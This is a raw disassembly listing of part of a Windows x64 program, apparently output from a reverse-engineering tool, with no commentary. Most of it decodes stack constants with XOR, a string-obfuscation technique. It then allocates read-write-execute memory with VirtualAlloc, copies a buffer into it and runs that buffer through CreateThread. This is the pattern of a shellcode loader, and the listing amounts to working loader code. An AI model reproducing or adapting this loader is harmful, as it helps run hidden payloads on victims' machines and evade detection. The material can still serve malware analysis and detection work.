mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x750], rax
movabs rax, 0xad14be49f81c02ea
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x758], rax
movabs rax, 0x65ca8a9e9a5a933f
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x760], rax
movabs rax, 0x13e315bf23ed393c
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x768], rax
movabs rax, 0xd4b2fc5c8d803509
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x770], rax
movabs rax, 0x245eda5d3cd9bb5e
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x778], rax
movabs rax, 0x95966e12cd484513
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x780], rax
movabs rax, 0x5e9d2fc36c3e4c90
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x788], rax
movabs rax, 0x2c7dfb303b4a2c8d
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x790], rax
movabs rax, 0xd9e453a12f47b692
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x798], rax
mov qword [rbp + 0x3a0], r10
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x7a0], rax
mov qword [rbp + 0x3a0], r9
mov rax, qword [rbp + 0x3a0]
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x20], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x40], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqu ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x60], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqu ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0x80], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqu ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqu ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xc0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqu ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0xe0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqu ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x100], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqu ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x120], ymm1
mov qword [rbp + 0x7a8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqu ymm0, ymmword [rbp + 0x160]
vmovdqa xmm2, xmmword [rbp + 0x320]
lea rdx, [rbp + 0x20]
vxorps xmm2, xmm2, xmmword [rbp + 0x7a0]
lea rcx, [rbp]
vmovdqa ymmword [rbp + 0x140], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x5e0]
vmovdqu ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x160], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x180], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x620]
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x640]
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x660]
vmovdqu ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x680]
vmovdqu ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x200], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqu ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x220], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6c0]
vmovdqu ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x240], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6e0]
vmovdqu ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x260], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x280], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x720]
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x2a0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqu ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x2c0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqu ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x2e0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x780]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqa xmmword [rbp + 0x320], xmm2
vzeroupper
call fcn.140003d70
lea rdx, [rbp]
lea rcx, [rbp + 0x410]
call fcn.140001420
lea rcx, [rbp + 0x3e8]
mov rdx, qword [rax]
call fcn.140003d70
mov rcx, qword [rbp + 0x410]
test rcx, rcx
je 0x140003665
mov rdx, qword [rbp + 0x420]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14000364e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ca1
call fcn.1400048b0
xorps xmm0, xmm0
mov qword [rbp + 0x410], r15
movdqu xmmword [rbp + 0x418], xmm0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400036a0
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000369b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ca1
call fcn.1400048b0
xorps xmm0, xmm0
mov qword [rbp + 0x3c8], r15
xorps xmm1, xmm1
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x3e8]
mov rdi, r15
movdqu xmmword [rbp + 0x3b8], xmm0
movdqu xmmword [rbp + 0x3d0], xmm1
call fcn.1400018b0
mov rcx, qword [rbp + 0x3b8]
test al, al
je 0x140003861
cmp rcx, qword [rbp + 0x3c0]
je 0x140003861
mov rdx, rcx
lea rcx, [rbp]
call fcn.140003d70
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.140001420
lea rcx, [rbp + 0x3d0]
cmp rcx, rax
je 0x14000372e
mov rbx, qword [rax]
mov rsi, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
jmp 0x14000373c
mov rsi, qword [rbp + 0x3d8]
mov rbx, qword [rbp + 0x3d0]
mov rcx, qword [rbp + 0x410]
test rcx, rcx
je 0x14000378e
mov rdx, qword [rbp + 0x420]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140003777
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ca7
call fcn.1400048b0
xorps xmm0, xmm0
mov qword [rbp + 0x410], r15
movdqu xmmword [rbp + 0x418], xmm0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400037c9
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037c4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ca7
call fcn.1400048b0
sub rsi, rbx
mov r9d, 0x40
mov rdx, rsi
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
jne 0x1400037f4
mov rcx, qword [rbp + 0x3b8]
jmp 0x140003864
mov r8, rsi
mov rdx, rbx
mov rcx, r14
call fcn.140014900
xor r9d, r9d
mov qword [rsp + 0x28], r15
mov r8, r14
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x14000382d
mov rcx, qword [rbp + 0x3b8]
jmp 0x140003864
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x3b8]
mov esi, r15d
jmp 0x140003869
mov rbx, r15
mov esi, 1
test rbx, rbx
je 0x1400038a8
sub rdi, rbx
cmp rdi, 0x1000
jb 0x140003896
mov rcx, qword [rbx - 8]
add rdi, 0x27
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x140003c9b
mov rbx, rcx
mov rdx, rdi
mov rcx, rbx
call fcn.1400048b0
mov rcx, qword [rbp + 0x3b8]
test rcx, rcx
je 0x1400038f3
mov rdx, qword [rbp + 0x3c8]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400038dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003c9b
call fcn.1400048b0
xorps xmm0, xmm0
mov qword [rbp + 0x3c8], r15
movdqu xmmword [rbp + 0x3b8], xmm0
mov rdx, qword [rbp + 0x400]
cmp rdx, 0xf
jbe 0x140003934
mov rcx, qword [rbp + 0x3e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000392f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003c9b
call fcn.1400048b0
mov eax, esi
jmp 0x140003c6f
movabs rcx, 0xe03d8e57622fb804
movabs rax, 0x5f3fbda284eb6252
mov qword [rbp + 0x3a0], rax
movabs rdx, 0x5f3fd8d6e58f1207
mov rax, qword [rbp + 0x3a0]
movabs r8, 0xf6bfbcfdad4e7ec
mov qword [rbp], rax
mov qword [rbp + 0x3a0], rcx
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 8], rax
mov qword [rbp + 0x3a0], rdx
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x3a0], rcx
mov rax, qword [rbp + 0x3a0]
movdqa xmm0, xmmword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0x2d1fbda584ea7e57
xorps xmm0, xmmword [rbp + 0x410]
movdqa xmmword [rbp], xmm0
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x340], rax
movabs rax, 0xc04ee73f160fd671
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x348], rax
movabs rax, 0xab29f026dd63e541
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x350], rax
movabs rax, 0xe0e0bab16a94b767
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x358], rax
movabs rax, 0xd5a5d0bebc91932
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x360], rax
movabs rax, 0xe6392f1ed9d680b8
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x368], rax
movabs rax, 0x767ac37c415ef6e6
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x370], rax
movabs rax, 0x23d9b6b6d4f4cf76
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x378], rax
movabs rax, 0xb0a3e02ec0d25780
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x3a0], r8
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x388], rax
mov qword [rbp + 0x3a0], rdx
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x3a0], rcx
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x448], rax
movabs rax, 0x8b449154ba0c9731
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x450], rax
movabs rax, 0x8e89d7d50bb4c406
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x458], rax
movabs rax, 0x7f35296a99bd6a5b
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x460], rax
movabs rax, 0x8f4e5d7bb1a2ef98
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x468], rax
movabs rax, 0x1f0de308287e9395
mov qword [rbp + 0x3a0], rax
lea rdx, [rbp + 0x340]
mov rax, qword [rbp + 0x3a0]
mov r9d, 0x30
mov qword [rbp + 0x470], rax
xor ecx, ecx
movabs rax, 0x54f9c2d9bad4a31a
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x478], rax
movabs rax, 0xb0a3e02ec0b925ef
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x3a0], r8
lea r8, [rbp]
mov rax, qword [rbp + 0x3a0]
vmovdqu ymm0, ymmword [rbp + 0x440]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqu ymm0, ymmword [rbp + 0x360]
vmovdqa xmm2, xmmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x340], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
mov qword [rbp + 0x488], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x360], ymm1
vmovdqa xmmword [rbp + 0x380], xmm2
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.140004370
lea r11, [rsp + 0x850]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000af98
int3
call fcn.14000af98
int3
call fcn.14000af98
int3